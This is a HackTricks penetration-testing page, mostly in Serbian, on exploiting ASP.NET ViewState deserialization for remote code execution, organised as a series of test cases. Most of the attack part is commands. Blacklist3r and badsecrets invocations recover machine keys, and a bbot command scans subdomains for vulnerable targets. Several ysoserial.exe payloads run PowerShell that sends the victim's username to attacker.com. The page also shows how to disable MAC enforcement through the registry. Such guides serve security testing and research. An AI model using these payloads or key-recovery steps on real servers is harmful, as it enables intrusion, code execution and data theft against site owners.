17 KiB
Eksploatacija __VIEWSTATE bez poznavanja tajni
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podrška HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Savjet za bug bounty: prijavite se za Intigriti, premium bug bounty platformu koju su kreirali hakeri, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Šta je ViewState
ViewState služi kao podrazumevani mehanizam u ASP.NET-u za održavanje podataka o stranici i kontrolama između web stranica. Tokom renderovanja HTML-a stranice, trenutna stanja stranice i vrednosti koje treba sačuvati tokom postback-a se serijalizuju u base64-encoded stringove. Ovi stringovi se zatim smeštaju u skrivene ViewState polja.
Informacije o ViewState-u mogu se karakterisati sledećim svojstvima ili njihovim kombinacijama:
- Base64:
- Ovaj format se koristi kada su oba atributa
EnableViewStateMac
iViewStateEncryptionMode
postavljena na false. - Base64 + MAC (Kod za autentifikaciju poruka) omogućeno:
- Aktivacija MAC-a se postiže postavljanjem atributa
EnableViewStateMac
na true. Ovo obezbeđuje verifikaciju integriteta za ViewState podatke. - Base64 + Enkriptovano:
- Enkripcija se primenjuje kada je atribut
ViewStateEncryptionMode
postavljen na true, obezbeđujući poverljivost ViewState podataka.
Test slučajevi
Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u ASP.NET-u na osnovu verzije .NET framework-a. Evo sažetak sadržaja:
- Za bilo koju verziju .NET-a, kada su MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
- Za verzije ispod 4.5, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikaciju MachineKey-a se naziva "Blacklist3r."
- Za verzije ispod 4.5, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikacija MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
- Za verzije 4.5 i više, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
Takođe je moguće potpuno onemogućiti ViewStateMAC postavljanjem registry ključa AspNetEnforceViewStateMac
na nulu u:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identifikovanje ViewState Atributa
Možete pokušati da identifikujete da li je ViewState zaštićen MAC-om tako što ćete uhvatiti zahtev koji sadrži ovaj parametar pomoću BurpSuite-a. Ako se MAC ne koristi za zaštitu parametra, možete ga iskoristiti koristeći YSoSerial.Net
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test case 1.5 – Kao Test case 1, ali ViewState kolačić nije poslat od strane servera
Developers can remove ViewState from becoming part of an HTTP Request (korisnik neće primiti ovaj kolačić).
One may assume that if ViewState is not present, their implementation is secure from any potential vulnerabilities arising with ViewState deserialization.
However, that is not the case. If we add ViewState parameter to the request body and send our serialized payload created using ysoserial, we will still be able to achieve code execution as shown in Case 1.
Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
In order to enable ViewState MAC for a specific page we need to make following changes on a specific aspx file:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
Možemo to uraditi i za celu aplikaciju postavljanjem u web.config datoteku kao što je prikazano u nastavku:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Pošto je parametar zaštićen MAC-om, da bismo uspešno izvršili napad, prvo nam je potreban korišćeni ključ.
Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da pronađete korišćeni ključ.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets je još jedan alat koji može identifikovati poznate machineKeys. Napisan je u Python-u, tako da, za razliku od Blacklist3r, nema zavisnost od Windows-a. Za .NET viewstate-ove postoji "python blacklist3r" alat, koji je najbrži način da se koristi.
Može se direktno snabdeti viewstate-om i generatorom:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
Ili, može se direktno povezati na ciljani URL i pokušati da izvuče viewstate iz HTML-a:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
Da biste pretraživali ranjive viewstate-ove na velikoj skali, u kombinaciji sa enumeracijom poddomena, može se koristiti badsecrets
BBOT modul:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Ako imate sreće i ključ je pronađen, možete nastaviti sa napadom koristeći YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
U slučajevima kada server ne šalje _VIEWSTATEGENERATOR
parametar ne trebate da obezbedite --generator
parametar već ove:
--apppath="/" --path="/hello.aspx"
Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vrednost verovatno enkriptovana i biće vam potrebna Mašinska Ključ za enkripciju vašeg payload-a kako biste iskoristili ranjivost.
U ovom slučaju Blacklist3r modul je u razvoju...
Pre .NET 4.5, ASP.NET može prihvatiti nekriptovani ___VIEWSTATE
_parametar od korisnika čak i ako je ViewStateEncryptionMode
postavljen na Uvek. ASP.NET samo proverava prisutnost __VIEWSTATEENCRYPTED
parametra u zahtevu. Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.
Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga datoteka, YSoSerial.Net komanda korišćena u Slučaju 2, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
- Uklonite
__VIEWSTATEENCRYPTED
parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška u validaciji Viewstate MAC-a i eksploatacija će propasti.
Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
Možemo naterati korišćenje ASP.NET okvira tako što ćemo navesti dole navedeni parametar unutar web.config datoteke kao što je prikazano ispod.
<httpRuntime targetFramework="4.5" />
Alternativno, ovo se može uraditi tako što se navede opcija ispod unutar machineKey
parametra u web.config datoteci.
compatibilityMode="Framework45"
Kao u prethodnom, vrednost je enkriptovana. Zatim, da bi poslao validan payload, napadaču je potreban ključ.
Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da pronađete ključ koji se koristi:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Za detaljniji opis za IISDirPath i TargetPagePath pogledajte ovde
Ili, sa Badsecrets (sa vrednošću generatora):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
Kada se identifikuje važeći Machine key, sledeći korak je generisanje serijalizovanog payload-a koristeći YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Ako imate vrednost __VIEWSTATEGENERATOR
, možete pokušati da koristite parametar --generator
sa tom vrednošću i izostavite parametre --path
i --apppath
.
Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva van kanala ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ova vrsta eksploata je prikazana u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Za dalja objašnjenja o tome kako funkcioniše proces eksploatacije i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati pruženi PoC of Successful Exploitation.
Test slučaj 6 – ViewStateUserKeys se koristi
Svojstvo ViewStateUserKey može se koristiti za odbranu od CSRF napada. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo ViewState payload koristeći metode o kojima smo do sada razgovarali, payload neće biti obrađen od strane aplikacije.
Treba da koristite još jedan parametar kako biste ispravno kreirali payload:
--viewstateuserkey="randomstringdefinedintheserver"
Rezultat uspešne eksploatacije
Za sve test slučajeve, ako ViewState YSoSerial.Net payload radi uspešno, server odgovara sa “500 Internal server error” sa sadržajem odgovora “Informacije o stanju su nevažeće za ovu stranicu i mogu biti oštećene” i dobijamo OOB zahtev.
Proverite dodatne informacije ovde
Reference
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817\
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
Bug bounty saveta: prijavite se za Intigriti, premium bug bounty platformu koju su kreirali hakeri, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.